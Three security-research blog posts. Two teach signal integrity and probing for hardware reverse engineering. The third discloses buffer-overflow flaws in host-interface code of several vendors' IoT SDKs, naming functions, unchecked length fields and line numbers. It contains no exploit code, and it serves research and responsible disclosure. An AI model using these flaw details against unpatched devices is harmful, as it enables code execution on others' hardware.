INSIGHTS, RESEARCH | February 23, 2021

Probing and Signal Integrity Fundamentals for the Hardware Hacker, part 2: Transmission Lines, Impedance, and Stubs

This is the second post in our ongoing series on the troubles posed by high-speed signals in the hardware security lab.

What is a High-speed Signal?

Let’s start by defining “high-speed” a bit more formally:

A signal traveling through a conductor is high-speed if transmission line effects are non-negligible.

That’s nice, but what is a transmission line? In simple terms:

A transmission line is a wire of sufficient length that there is nontrivial delay between signal changes from one end of the cable to the other.

You may also see this referred to as the wire being “electrically long.”

Exactly how long this is depends on how fast your signal is changing. If your signal takes half a second (500ms) to ramp from 0V to 1V, a 2 ns delay from one end of a wire to the other will be imperceptible. If your rise time is 1 ns, on the other hand, the same delay is quite significant – a nanosecond after the signal reaches its final value at the input, the output will be just starting to rise!

Using the classical “water analogy” of circuit theory, the pipe from the handle on your kitchen sink to the spout is probably not a transmission line – open the valve and water comes out pretty much instantly. A long garden hose, on the other hand, definitely is.

Propagation Delay

The exact velocity of propagation depends on the particular cable or PCB geometry, but it’s usually somewhere around two thirds the speed of light or six inches per nanosecond. You may see this specified in cable datasheets as “velocity factor.” A velocity factor of 0.6 means a propagation velocity of 0.6 times the speed of light.

Let’s make this a bit more concrete by running an experiment: a fast rising edge from a signal generator is connected to a splitter (the gray box in the photo below) with one output fed through a 3-inch cable to an oscilloscope input, and the other through a much longer 24-inch cable to another scope input.

Experimental setup for propagation delay demonstration

This is a 21-inch difference in length. The cable I used for this test (Mini-Circuits 086 series Hand-Flex) uses PTFE dielectric and has a velocity factor of about 0.695. Plugging these numbers into Wolfram Alpha, we get an expected skew of 2.56 ns:

Calculating expected propagation delay for the experiment

Sure enough, when we set the scope to trigger on the signal coming off the short cable, we see the signal from the longer cable arrives a touch over 2.5 ns later. The math checks out!

Experimental observation of cable delay

As a general rule for digital signals, if the expected propagation delay of your cable or PCB trace is more than 1/10 the rise time of the signal in question, it should be treated as a transmission line.

Note that the baud rate/clock frequency is unimportant! In the experimental setup above, the test signal has a frequency of only 10 MHz (100 ns period) but since the edges are very fast, cable delay is easily visible and thus it should be treated as a transmission line.

This is a common pitfall with modern electronics. It’s easy to look at a data bus clocked at a few MHz and think “Oh, it’s not that fast.” But if the I/O pins on the device under test (DUT) have sharp edges, as is typical for modern parts capable of high data rates, transmission line effects may still be important to consider.

Impedance, Reflections, and Termination

If you open an electrical engineering textbook and look for the definition of impedance you’re probably going to see pages of math talking about cable capacitance and inductance, complex numbers, and other mumbo-jumbo. The good news is, the basic concept isn’t that difficult to understand.

Imagine applying a voltage to one end of an infinitely long cable. Some amount of current will flow and a rising edge will begin to travel down the line. Since our hypothetical cable never ends, the system never reaches a steady state and this current will keep flowing at a constant level forever. We can then plug this voltage and current into Ohm’s law (V=I * R) and solve for R. The transmission line thus acts as a resistor!

This resistance is known as the “characteristic impedance” of the transmission line, and depends on factors such as the distance from signal to ground, the shape of the conductors, and the dielectric constant of the material between them. Most coaxial cable and high-speed PCB traces are 50Ω impedance (because this is a round number, a convenient value for typical material properties at easily manufacturable dimensions, and more) although a few applications such as analog television use 75Ω and other values are used in some specialized applications. The remainder of this discussion assumes 50Ω impedance for all transmission lines unless otherwise stated.

What happens if the line forks? We have the same amount of current flowing in since the line has a 50Ω impedance at the upstream end, but at the split it sees 25Ω (two 50Ω loads in parallel). The signal thus reduces in amplitude downstream of the fork, but otherwise propagates unchanged.

There’s just one problem: at the point of the split, we have X volts in the upstream direction and X/2 volts in the downstream direction! This is obviously not a stable condition, and results in a second wavefront propagating back upstream down the cable. The end result is a mirrored (negative) copy of the incident signal reflecting back.

We can easily demonstrate this effect experimentally by placing a T fitting at the end of a cable and attaching additional cables to both legs of the fitting. The two cables coming off the T are then terminated (one at a scope input and the other with a screw-on terminator). We’ll get to why this is important in a bit.

Experimental setup for split in transmission line

The cable from the scope input to the split is three inches long; using the same 0.695 velocity factor as before gives a propagation delay of 0.365 ns. So for the first 0.365 ns after the signal rises everything is the same as before. Once the edge hits the T the reduced-voltage signal starts propagating down the two legs of the T, but the same reduced voltage also reflects back upstream.

Observed waveform from split test

It takes another 0.365 ns for the reflection to reach the scope input so we’d expect to see the voltage dip at around 0.73 ns (plus a bit of additional delay in the T fitting itself) which lines up nicely with the observed waveform.

In addition to an actual T structure in the line, this same sort of negative reflection can be caused by any change to a single transmission line (different dielectric, larger wire diameter, signal closer to ground, etc.) which reduces the impedance of the line at some point.

Up to this point in our analysis, we’ve only considered infinitely long wires (and the experimental setups have been carefully designed to make this a good approximation). What if our line is somewhat long, but eventually ends in an open circuit? At the instant that the rising edge hits the end of the wire, current is flowing. It can’t stop instantaneously as the current from further down the line is still flowing – the source side of the line has no idea that anything has changed. So the edge goes the only place it can – reflecting down the line towards the source.

Our experimental setup for this is simple: a six-inch cable with the other end unconnected.

Experimental setup for open circuit at end of a transmission line

Using the same 0.695 velocity factor, we’d expect our signal to reach the end of the cable in about 0.73 ns and the reflection to hit the scope at 1.46 ns. This is indeed what we see.

Observed waveform from open circuit test

Sure enough, we see a reflected copy of the original edge. The difference is, since the open circuit is a higher-than-matched impedance instead of lower like in the previous experiment, the reflection has a positive sign and the signal amplitude increases rather than dropping.

A closer inspection shows that this pattern of reflections repeats, much weaker, starting at around 3.0 ns. This is caused by the reflection hitting the T fitting where the signal generator connects to the scope input. Since the parallel combination of the scope input and signal generator is not an exact 50Ω impedance, we get another reflection. The signal likely continues reflecting several more times before damping out completely, however these additional reflections are too small to show up with the current scope settings.

So if a cable ending in a low impedance results in a negative reflection, and a cable ending in a high impedance results in a positive reflection, what happens if the cable ends in an impedance equal to that of the cable – say, a 50Ω resistor? This results in a matched termination which suppresses any reflections: the incident signal simply hits the resistor and its energy is dissipated as heat. Terminating high-speed lines (via a resistor at the end, or any of several other possible methods) is critical to avoid reflections degrading the quality of the signal.

One other thing to be aware of is that the impedance of circuit may not be constant across frequency. If there is significant inductance or capacitance present, the impedance will have frequency-dependent characteristics. Many instrument inputs and probes will specify their equivalent resistance and capacitance separately, for example “1MΩ || 17 pF” so that the user can calculate the effective impedance at their frequency of interest.

Stub Effects and Probing

We can now finally understand why the classic reverse engineering technique of soldering long wires to a DUT and attaching them to a logic analyzer is ill-advised when working with high speed systems: doing so creates an unterminated “stub” in the transmission line.

Typical logic analyzer inputs have high input impedances in order to avoid loading down the signals on the DUT. For example, the Saleae Logic Pro 8 has an impedance of 1MΩ || 10 pF and the logic probe for the Teledyne LeCroy WaveRunner 8000-MS series oscilloscopes is 100 kΩ || 5 pF. Although the input capacitance does result in the impedance decreasing at higher frequencies, it remains well over 50Ω for the operating range of the probe.

This means that if the wire between the DUT and the logic analyzer is electrically long, the signal will reflect off the analyzer’s input and degrade the signal as seen by the DUT. To see this in action, let’s do an experiment on a real board which boots from an external SPI flash clocked at a moderately fast speed – about 75 MHz.

As a control, we’ll first look at the signal using an electrically short probe. I’ll be using a Teledyne LeCroy D400A-AT, a 4 GHz active differential probe. This is a very high performance probe meant for non-intrusive measurements on much faster signals such as DDR3 RAM.

Active probe on SPI flash
Probe tip seen through microscope

Looking at the scope display, we see a fairly clean square wave on the SPI SCK pin. There’s a small amount of noise and some rounding of the edges, but nothing that would be expected to cause boot failures.

Observed SPI SCK waveform

The measured SPI clock frequency is 73.4 MHz and the rise time is 1.2 ns. This means that any stub longer than 120 ps round trip (60 ps one way) will start to produce measurable effects. With a velocity of 0.695, this comes out to about half an inch. You may well get away with something a bit longer (“measurable effects” does not mean “guaranteed boot failure”), but at some point the degradation will be sufficient to cause issues.

Now that we’ve got our control waveform, let’s build a probing setup more typical of what’s used in lower speed hardware reverse engineering work: a 12-inch wire from a common rainbow ribbon cable bundle, connected via a micro-grabber clip to a Teledyne LeCroy MSO-DLS-001 logic probe. The micro-grabber is about 2.5 inches in length, which when added to the wire comes to a total stub of about 14.5 inches.

(Note that the MSO-DLS-001 flying leads include a probe circuit at the tip, so the length of the flying lead itself does not count toward the stub length. When using lower end units such as the Saleae Logic that use ordinary wire leads, the logic analyzer’s lead length must be considered as part of the stub.)

Experimental setup with long probe stub wire (yellow)

We’d thus expect to see a reflection at around 3.5 ns, although there’s a fair bit of error in this estimate because the velocity factor of the cable is unspecified since it’s not designed for high-speed use. We also expect the reflections to be a bit more “blurry” and less sharply defined than in the previous examples, since the rise time of our test signal is slower.

Measured SPI clock waveform with long stub wire

There’s a lot of data to unpack here so let’s go over it piece by piece.

First, we do indeed see the expected reflection. For about the first half of the cycle – close to the 3.5 ns we predicted – the waveform is at a reduced voltage, then it climbs to the final value for the rest of the cycle.

Second, there is significant skew between the waveform seen by the analog probe and the logic analyzer, which is caused by the large difference in length between the path from the DUT to the two probe inputs.

Third, this level of distortion is very likely to cause the DUT to malfunction. The two horizontal cursors are at 0.2 and 0.8 times the 1.8V supply voltage for the flash device, which are the logic low and high thresholds from the device datasheet. Any voltage between these cursors could be interpreted as either a low or a high, unpredictably, or even cause the input buffer to oscillate.

During the period in which the clock is supposed to be high, more than half the time is spent in this nondeterministic region. Worst case, if everything in this region is interpreted as a logic low, the clock will only appear to be high for about a quarter of the cycle! This would likely act like a glitch and result in failures.

Most of the low period is spent in the safe “logic low” range, however it appears to brush against the nondeterministic region briefly. If other noise is present in the DUT, this reflection could be interpreted as a logic high and also create a glitch.

Conclusions

As electronics continue to get faster, hardware hackers can no longer afford to remain ignorant of transmission line effects. A basic understanding of these physics can go a long way in predicting when a test setup is likely to cause problems.

INSIGHTS, RESEARCH | February 11, 2021

A Practical Approach To Attacking IoT Embedded Designs (I)

The booming IoT ecosystem has meant massive growth in the embedded systems market due to the high demand for connected devices. Nowadays, designing embedded devices is perhaps easier than ever thanks to the solutions, kits, chips, and code that semiconductor manufacturers provide to help developers cope with the vast number of heterogeneous requirements IoT devices should comply with.

This never-ending race to come up with new features within tight deadlines comes at a cost, which usually is paid in the security posture of the commercialized device. 

Let’s assume a product vendor has implemented security best practices and everything has been locked down properly. Our goal is to compromise the device, but we don’t have access to any of the custom code developed for that specific device (not even in binary form). What about the code semiconductor vendors provide? How secure is the code in all those SDKs and middleware that IoT devices rely on?

I performed a manual code review of some of the most widely used IoT SDKs in order to try to answer this question and found multiple vulnerabilities in the code provided by leading semiconductor vendors, such as Texas Instruments, Nordic, and Qualcomm. 

As usual, IOActive followed a responsible disclosure process, notifying the affected vendors and coordinating with them to determine the proper time to disclose issues. In general terms, most vendors properly handled the disclosure process.

At the time of publishing this blog post, the latest versions of the affected SDKs contain fixes for the vulnerabilities. Please note that IOActive has not verified these patches.

Introduction

Embedded IoT systems need to be designed for specific functions. As a result, we can’t use a single reference design; however, it is possible to summarize the most common architectures.

SoC

These designs rely on an SoC that combines the MCU and communications transceiver into a single-chip solution. Thus, the wireless software stack and the application software run in the same component.

MCU + Transceiver

In these designs, the MCU is in charge of running the required software, including the applications and even part of the wireless stack, and the transceiver usually handles the physical and data link layers. In addition, there is a host interface (HIF), which is responsible for handling communication between the MCU (Host) and the transceiver, usually over a serial bus (e.g. SPI, UART, or I2C).

MCU + Network Co-Processor

These designs are a variant of the previous one, where the transceiver is swapped for a network co-processor (NCP), which runs the entire communications stack. In this architecture, the application is still running in the MCU (Host), while the network stack operations are entirely offloaded to the NCP. The HIF is still necessary to enable communication between the Host and NCP.

Attack Surface

As we have just outlined, the components within an embedded IoT design do not operate in isolation. They interact with the outside world via wireless and at the intra-board level with other chips.

1. Intra-board

Most current high-end MCUs and SoCs support some kind of secure boot or code integrity mechanism. Assuming a worst-case scenario (from an attacker’s perspective) where the vendor has closed the usual doors before deploying the product, we may face a pure black-box scenario, where we can’t dump or access the firmware.

In order to turn this situation to our favor, we can focus on the HIF code usually found in the SDKs from semiconductor vendors.  

The advantage we have in this scenario is that, despite the fact that the firmware running in the Host MCU (Host from now on) may be unknown, analysis of HIF communications may reveal that the Host firmware has been compiled with potentially vulnerable SDK code. 

 A successful exploit targeting the HIF implementation could open the door to execute code in the Host if a local attacker has the ability to impersonate the transceiver/NCP over the HIF’s bus (SPI, UART, I2C, USB, etc.). At IOActive, we have been exploiting this attack vector for years in order to compromise among other devices, smart meters, which usually implement either an ‘MCU + NCP’ or ‘MCU + Transceiver’ design. 

The vulnerabilities described in this post are intended to illustrate common patterns in the HIF layer implementation across different vendors, all of which lacked proper validation features. One of the advantages of intra-board attacks is that they can be used not only to discover memory corruption vulnerabilities, but much more interesting logic flaws, as Host firmware may not account for an attacker hijacking intra-board communication.

2. Wireless

From an attack surface perspective, the situation is similar to intra-board attacks. An attacker may lack access to the firmware, but it still possible to target the semiconductor vendor’s stack, usually provided in the corresponding component SDK. 

This research focused on BLE and Zigbee stacks, which are some of the most common wireless communication interfaces used in the IoT ecosystem. The second part of this blog post series will cover these vulnerabilities.

Intra-board Vulnerabilities

Affected vendors

  • Texas Instruments
  • Qualcomm
  • Silicon Labs
  • Zephyr OS
  • Microchip
  • Infineon

Texas Instruments  – www.ti.com

Vulnerability 

Memory corruption via ‘NPITLSPI_CallBack’ 

Affected Products

CC1350 SDK, BLE-STACK (SDK v4.10.01 and prior versions)
CC26x0 BLE-STACK (v2.2.4 and prior versions)

Texas Instruments Advisory: https://www.ti.com/lit/an/swra684/swra684.pdf 

Background 

TI’s Network Processor Interface (NPI) is used for establishing a serial data link between a TI SoC and external MCUs or PCs. It is an abstraction layer above the serial interface (UART or SPI) that handles sending / receiving data power management, and data parsing It is mainly used by TI’s network processor solutions.” Texas Instruments Website

Impact

A local attacker able to interfere with the physical SPI bus between the Host and NCP could send a malformed UNPI packet that corrupts dynamic memory in the Host, potentially achieving code execution.

Technical Details

When ‘NPITLSPI_CallBack’ parses the UNPI packet coming from the Slave, it does not properly verify whether the 16-bit length is within the bounds of ‘npiRxBuf’.  

At lines 210-211, ‘readLen’ is directly calculated from the untrusted input coming from the slave.

Assuming that the local attacker will either guess or force a deterministic FCS by taking into account the malloc implementation, the memory corruption will take place at line 221. 

npiRxBuf’ is initialized at line 193, using the default value of 530 bytes.

Qualcomm  – www.qualcomm.com

Vulnerability

Multiple buffer overflows when parsing malformed WMI packets in the ‘Wifi_qca’ middleware

Affected Products

Products that use the Qualcomm Atheros WIFI_QCA middleware: https://www.qualcomm.com/products/qca4004

Background 

“The Wireless Module Interface (WMI) is a  communication protocol for QCA wireless components. It defines a set of commands that can be issued to the target firmware or that the target firmware can send back to the host for processing. This WMI communication is happening over the defined HIF layer.”

Impact

A local attacker able to interfere with the physical SPI bus between the Host and target QCA SoC could send a malformed WMI packet that corrupts kernel memory in the Host, thus potentially achieving local code execution with kernel privileges.

Technical Details

There are multiple places in the QCA middleware where WMI messages coming from the device are not properly validated.

#1 ‘WMI_GET_CHANNEL_LIST_CMDID’

When processing ‘WMI_GET_CHANNEL_LIST_CMDID’ at ‘wmi_control_rx’ there is no sanity check for the attacker-controlled value ‘CHAN_EV->numChannels’.

Api_ChannelListEvent’ then uses ‘numChan’ to calculate the number of bytes, without performing any bounds checking, that will be copied into the fixed buffer ‘pDCxt->ChannelList’.

This buffer is defined within the Driver Context structure at line 256. In terms of exploitability, an attacker could easily overwrite a function pointer at line 272 with controlled values.

#2 ‘WMI_STORERECALL_STORE_EVENTID’

When processing ‘WMI_STORERECALL_STORE_EVENTID’ at ‘wmi_control_rx’, there is no sanity check for the ‘len’ value, in order to verify it is not larger than ‘pDCxt->tempStorageLength’. As a result, an overly large WMI packet could corrupt the fixed-length buffer pointed to by ‘strrclData’. This buffer is initialized at ‘Custom_Driver_ContextInit’.

This buffer is initialized at ‘Custom_Driver_ContextInit’.

#3 ‘WMI_HOST_DSET_STORE_EVENTID’

At ‘Api_HostDsetStoreEvent’,’dset_length’ is an attacker-controlled value. At line 418, there is an integer overflow which could bypass the ‘if’ condition. As a result, ‘dset_length’ can still be larger than ‘pDCxt->tempStorageLength’, leading to memory corruption.

Any other code relying on ‘dset_length’ may also be vulnerable (e.g. ‘Api_HostDsetReadEvent’).

#4 ‘WMI_P2P_NODE_LIST_EVENTID’

When processing ‘WMI_P2P_NODE_LIST_EVENTID’ messages coming from the device, the attacker-controlled value ‘num_p2p_dev’ is not sanitized. As a result, at line 1399 it is possible to corrupt the fixed-length buffer pointed to by ‘tmpBuf’, which is ‘pCxt->pScanOut’ (actually, it is ‘pDCxt->tempStorage’, which has been previously explained).

Silicon Labs – www.silabs.com

Vulnerability

Buffer overflow in ‘sl_wfx_get_pmk

Affected Products

Silicon Labs’ FMAC WFx driver: https://github.com/SiliconLabs/wfx-fullMAC-driver/

Background

The WFx FMAC driver is a software resource meant to allow a host to communicate with the WFx Wi-Fi transceiver. The API exposed by the driver gives control over the WFx Wi-Fi capabilities. In addition, the API enables data transfer at the IP level. This means that the host requires an IP stack if it wants to send/receive Ethernet frames.

https://docs.silabs.com/wifi/wf200/rtos/latest/wfx-fmac-driver

Impact

A local attacker able to interfere with the physical SPI/SDIO bus between the Host and the Silicon Labs NCP could forge a malformed WFx response frame that corrupts memory in the Host, thus potentially achieving local code execution.

Technical Details

sl_wfx_get_pmk’ does not sanitize ‘reply->body.password_length’, by either comparing it to ‘password_length’ value or checking against SL_WFX_PASSWORD_SIZE, before copying it (line 1119) into the provided buffer. As a result, there is no guarantee that the buffer pointed by ‘password’ can safely receive the length specified in the response.

Vulnerability

Kernel memory corruption when decoding ‘Secure Channel’ HIF frame

Affected Products

Silicon Labs’ WFx Linux driver: https://github.com/SiliconLabs/wfx-linux-driver

Background

Silicon Labs’ WF(M)200 chips have the ability to encrypt the SPI or SDIO serial link between the Host and the device. 

Impact

A local attacker able to interfere with the physical SPI/SDIO bus between the Host and the Silicon Labs NCP could send a malformed HIF frame that corrupts kernel memory in the Host, thus potentially achieving local code execution with kernel privileges.

Technical Details

The driver handles attacker-controlled inputs (lines 78-80) when the HIF protocol is using the ‘secure channel functionality,’ even before the proper sanity check on the ‘hif->len’ field is performed (at line 94). As a result, the computed length for the HIF frame would be different from the actual ‘read_len’.

clear_len’ is controlled by the attacker, so ‘payload_len’, ‘tag’ and ‘output’ are also indirectly controlled to some extent (lines 51-54). At line 69, ‘mbedtls_ccm_auth_decrypt’ is invoked to decrypt the HIF payload using ‘payload_len’ with the ‘skb->data’ buffer as output. As the length of ‘skb->data’ may be different than ‘payload_len’, it is possible to corrupt that memory chunk. 

The actual memory corruption happens at line 146 in CTR_CRYPT as ‘dst’ is pointing to HIF’s payload.

Zephyr OS – www.zephyrproject.org

Vulnerability

Multiple buffer overflows in the ‘Zephyr’ eswifi driver

Affected Products

Zephyr RTOS 2.3.0:

  • – https://github.com/zephyrproject-rtos/zephyr
  • – https://www.zephyrproject.org/

Impact

A local attacker able to interfere with the physical SPI bus between the Host and target controller could send a malformed SPI response that corrupts kernel memory in the Host, thus potentially achieving local code execution with kernel privileges.

Technical Details

#1 ‘__parse_ipv4_address’ buffer overflow

This function does not properly verify that ‘byte’ is within IP’s bounds (4 bytes) when parsing the IPv4 address. As a result, a malformed IP string with an overly large number of ‘dots’ will corrupt the ‘ip’ buffer. 

This vulnerability results in a stack overflow at lines 243 and 286.

#2 ‘__parse_ssid’ buffer overflow 

A similar situation can be found in ‘__parse_ssid’, which extracts and then copies the quoted SSID coming from the SPI response without checking its length. 

This vulnerability also ends up in a stack overflow scenario according to the following vulnerable path:

1.

2.

3.

Microchip – www.microchip.com

Vulnerability

Multiple vulnerabilities in ‘CryptoAuth Lib’  3.2.2

Affected Products

Microchip CryptoAuth Lib v3.2.2 : https://github.com/MicrochipTech/cryptoauthlib
Patched  https://github.com/MicrochipTech/cryptoauthlib/releases/tag/v3.2.3

Background

Designed to work with CryptoAuthentication devices such as the ATECC608B, ATSHA204A or ATSHA206A and to simplify your development, the CryptoAuthLib is a software support library written in C code. It is a component of any application or device driver that requires crypto services from the CryptoAuthentication devices. It works on a variety of platforms including Arm® Cortex®-M based or PIC® microcontrollers, PCs running the Windows® operating system or an embedded Linux® platform

Microchip Website

Impact

A local attacker able to partially emulate a malicious of Crypto Authentication device through USB could send malformed KIT protocol packets that corrupt memory in the Host, thus potentially achieving code execution.

Technical Details

When ‘kit_phy_receive’ is receiving the KIT packet from the device, it does not properly verify whether the total amount of bytes received is within the bounds of ‘rxdata’.  

The reading loop’s condition is merely ‘continue_read == true’ without taking into account ‘rxsize’, at line 324.

At line 308, we can see how the logic constantly tries to read a fixed amount of one byte from the USB device.

At line 316, ‘total_bytes_read’ is incremented by ‘bytes_read’. As the attacker controls the input, it is possible to evade the check for ‘\n’ at line 319. As a result, ‘total_bytes_read’ will be incremented beyond ‘rxsize’, thus overflowing ‘rxdata’ at line 308 during the call to ‘fread’. 

A similar issue can also be found in ‘kit_phy_receive’, although in this case instead of just one byte, it is reading CDC_BUFFER_MAX to a local stack buffer at line 263. ‘bytes_to_cpy’ is used to increment the offset (‘total_bytes’) (line 288) where the bytes will be copied (line 287). 

A similar situation is found below, where the function is constantly trying to read ‘cfg->atcahid.packetsize + 1)’ and then copy to ‘rxdata’ at lines 365 without performing any bounds checking.

Infineon – www.infineon.com

Vulnerability

Memory corruption via ‘DtlsRL_Record_ProcessRecord’ 

Affected Products

Optiga Trust X DTLS: https://github.com/Infineon/optiga-trust-x/tree/master/optiga/dtls

Background

Infineon Website

Impact

A local attacker able to interfere with the physical I2C bus between the Host and Optiga Trust X security chip could send a malformed DTLS record that corrupts heap memory in the Host, thus potentially achieving local code execution.

Technical Details

During the DTLS handshake, the fragment length field of a DTLS record is not properly sanitized. 

PpsRecData->psBlobInOutMsg->prgbStream’ points to a dynamically allocated buffer whose size is fixed (TLBUFFER_SIZE 1500 bytes).

The vulnerable path would be as follows: 

  1. DtlsHS_Handshake 
  2. DtlsHS_ReceiveFlightMessage
  3. DtlsRL_Recv
  4. DtlsCheckReplay 
  5. DtlsRL_CallBack_ValidateRec
  6. DtlsRL_Record_ProcessRecord

Vulnerability

Memory corruption via ‘CmdLib_CalcHash’ 

Affected Products

Optiga Trust X: https://github.com/Infineon/optiga-trust-x/

Impact

A local attacker able to interfere with the physical I2C bus between the Host and Optiga Trust X security chip could send a malformed ‘CmdLib_CalcHash’ response that corrupts memory in the Host, thus potentially achieving local code execution.

Technical Details

In the ‘CmdLib_CalcHash’ function, a potentially untrusted length field is used without being sanitized. 

The tag length is directly obtained from the response buffer at line 1757, which could contain a value larger than ‘PpsCalcHash->sOutHash.wBufferLength’.Then at line 1758, this length is used to perform a ‘memcpy’ operation that will trigger the memory corruption. The same issue applies to lines 1772 and 1773.

Vulnerability

Multiple memory corruption issues in ‘Optiga_cmd.c’  

Affected Products

Optiga Trust M: https://github.com/Infineon/optiga-trust-m/

Background

Impact

A local attacker able to interfere with the physical I2C bus between the Host and Optiga Trust M security chip could send a malformed response that corrupts memory in the Host, thus potentially achieving local code execution.

Technical Details

In the ‘optiga_cmd_gen_keypair_handler’ function, a potentially untrusted length field is used without being sanitized. 

The private key tag length is directly obtained from the response buffer at line 2576, which could contain a value larger than the buffer pointed by ‘p_optiga_ecc_gen_keypair->private_key’. Then at line 2579, this length is used to perform a ‘memcpy’ operation that will trigger the memory corruption. 

The same issue applies to lines 3068 and 3072 while processing the ‘Calc_Hash’ response in function ‘optiga_cmd_calc_hash_handler’.

INSIGHTS, RESEARCH | January 28, 2021

Probing and Signal Integrity Fundamentals for the Hardware Hacker

The latest new widget just showed up on your desk. You excitedly crack open the case, look around a bit, and find a signal that looks interesting. You fire up your oscilloscope, touch a probe to the signal, and… the widget won’t boot! Or maybe it works fine, but you see garbage on the scope screen that looks nothing like a useful digital waveform.

It’s a problem that’s becoming all too familiar to hardware hackers. As technology advances, signals become faster, which makes them more sensitive and less tolerant to the sloppy wiring and probing techniques commonly used in reverse engineering. Even cheap SPI flash can run at 100+ MHz in modern designs.

This article will focus on practical problems and solutions for analyzing existing boards, without digging too deep into the more advanced electrical engineering theory needed for design of high speed logic. For a more in-depth treatment of the subject, High Speed Digital Design: A Handbook of Black Magic (1993) by Howard Johnson & Martin Graham is an excellent read, as well as its successor High Speed Signal Propagation: Advanced Black Magic (2003).

If your probing setups look like this, you’re going to have a bad time reversing modern hardware!

At this level, the main thing to be aware of is that electrical signals move through wires at a finite speed, typically around 0.6-0.7x the speed of light (roughly six inches per nanosecond), and that changing cable characteristics (more specifically, impedance) causes an impact on the signal whose duration in time is proportional to their length.

Before we proceed any further I’d also like to introduce an abbreviation from the test equipment world that you may not be familiar with: DUT (Device Under Test). This is a fancy way of saying “the thing you’re trying to probe”.

Avoid Long Messes of Wires

In the photo above, a JTAG adapter was connected to the DUT with several feet of wire, without paying any attention to impedance or termination. The JTAG software was unable to detect the processor. When an oscilloscope was connected to the TCK signal on the DUT, the signal looked like this:

JTAG TCK signal with long wires

The rising edge of the clock signal climbs for a while, then dips, then continues climbing to its full value. These non-monotonic edges are a big problem! If the position of the dip happens to line up with the threshold of the device’s input pin, it will see two rising edges instead of one, resulting in a bit of data being duplicated.

You might be tempted to reduce the clock frequency of the JTAG adapter in this case, but this won’t help: all it will do is move the rising and falling edges further apart without changing their shape. Fast edges at 1 kHz are just as vulnerable as edges at many MHz.

Adding filtering to slow down the edge rate (at the cost of reducing the max operating speed), adding a ~33Ω series terminating resistor at the source end of the wire, or playing with ground geometry to match the impedance of the cable more precisely can all help. In most cases, however, the easiest solution is simply to shorten the wires.

No more spaghetti!
JTAG signal with shorter wires

If you look closely a small defect on the edge is still visible since the ribbon cable isn’t impedance matched, but it’s much smaller because the mismatched cable length is shorter. At this edge rate, this sort of defect shouldn’t be a problem since it doesn’t dip, it just stops rising momentarily. When dealing with sharper edges, you might want to shorten the cable even further. You should also…

Properly Secure Wires

This isn’t strictly a signal integrity issue, but “my wires ripped off the DUT” will certainly lead to difficulty seeing the intended signal! Properly securing wires and probes is something overlooked far too often.

Don’t rely on solder joints to provide mechanical support for a cable, which can be subject to bending and pulling forces as the DUT and cable move around your bench. If you’re lucky the solder joint will fail and the probe will cleanly separate from the DUT. Worse yet, you might rip the copper pads/traces off the DUT or ruin your probe.

There are plenty of different methods of securing wires, so pick one that suits your specific scenario. I prefer to secure the wire first, then solder it, in order to keep it from flailing around while I’m soldering.

Hot glue: Cheap and easy, but hard to do neatly and difficult to rework if you get it somewhere you didn’t intend. Requires rapid work to get things positioned right before it hardens and leaves annoying “strings” everywhere.

Kapton tape: Easily removable, but fairly low holding strength. You can buy it on big spools but I prefer using pre-cut dots to save lab time. Name-brand tapes generally have much better adhesive than cheap knockoffs.

Kapton tape securing a solder-in probe tip

Epoxy: Very strong, but almost impossible to remove once cured. Good choice for permanently attaching to something you plan to keep around the lab for an extended period of time.

UV cured wire tacking glue: My personal favorite (I’m a fan of Dymax #9-911, but there’s many other options). It cleans up easily with alcohol in the uncured state, and solidifies in a minute or two under a cheap gel nail polish curing lamp. Most of these glues have intermediate holding strength: the wire is unlikely to come free by accident, but careful prying with a knife blade will cleanly separate it from the DUT without damage.

Wires secured with UV glue

Probe holders: There’s a wide range of these available, ranging from DIY 3D printed bipods to $500+ three-axis micrometer jigs. More temporary in nature than any kind of adhesive, but useful for any time you want to look at more than a handful of signals while keeping your hands free. These get the probe tip right up against the board without any additional wire, which is great for probing faster signals.

Probe held in a bipod positioner

Avoid Long Probe Grounds

Yes,I’m talking about that big “tail” on your scope probe with an alligator clip at the end. Forget about using it on anything fast. It’s very inductive, which when combined with the capacitance of a typical passive probe creates resonances.

10 MHz clock seen through a 10MΩ probe with a long ground wire

In the 10 MHz clock seen above, the ringing isn’t enough to completely destroy the shape of the signal, but it doesn’t take much imagination to see that with anything a little bit faster, the signal would be completely unreadable.

In the next few examples, we’ll be looking at a 1.25 Gbps Ethernet signal. The “idle” sequence between packets contains a nice mix of fast 0-1-0-1 transitions and runs of several 0 or 1 bits, providing a nice idea of what a data bit at different rates might look like through a given probing setup. 

Test signal with no probe

In this screenshot we see three different signals:

  • Blue: The signal as seen through the probe (flatlined, since the probe isn’t on the board yet).
  • Pink: The signal internal to the DUT
  • Yellow: A snapshot of the pink waveform frozen in time. Right now they’re identical, but if the probe alters behavior of the DUT you’ll see them deviate.

To start, let’s use a standard 10MΩ passive scope probe (a Teledyne LeCroy PP022) and an alligator clip ground.

Probing the easy, obvious way.
And here’s what the scope sees

The signal is completely unrecognizable through the probe! In addition to causing ringing on edges, the inductance of the long ground lead destroys high frequency performance.

A spring ground is a bit trickier to use since you have to find a good ground point fairly close to the signal you’re probing on the DUT, but gives a much nicer looking view of the signal.

Using a spring ground
Waveform seen with the spring ground

That’s a lot better looking: the edges are rounded off and not as square looking as they should be, but that’s an inherent limitation of this probe (500 MHz bandwidth). Individual data bits are clearly readable, so all is well… right?

Wrong. Take a look at the signal on the DUT (pink waveform)! There’s huge dips in it. This might well be enough to corrupt data and render the DUT nonfunctional. This brings us to our next topic…

Beware of Probe Loading

You might be inclined to look at the “10MΩ” marking on a scope probe and assume that it imposes infinitesimal load on the DUT. That may be true at DC, but not at frequencies typical of modern electronics.

The problem is that typical 10MΩ scope probes also have on the order of 10 pF of capacitance. When a high frequency signal is applied to a capacitor it acts somewhat like a resistor, with an effective resistance of 1/(2*pi*f*C) for frequency of f Hz and capacitance of C farads. So the actual load the probe imposes is around 159Ω at 100 MHz and 31Ω at 500 MHz – a far cry from the 10MΩ seen by a DC signal! Since this loading is frequency dependent it will distort the signal as well as weakening it, potentially rendering it unreadable to the intended destination on the DUT.

Unfortunately, there’s no trivial way to work around this issue using a standard passive scope probe, but there are several different types of probe designed for higher speed use which can help.

Active probes, which contain an amplifier in the probe head, can have much lower capacitive loading. A typical 1.5 GHz active probe might have an input capacitance of 0.9 pF, making it much less invasive. The price you pay for this is very expensive hardware – active probe price tags start in the low four figures (USD) and go up from there.

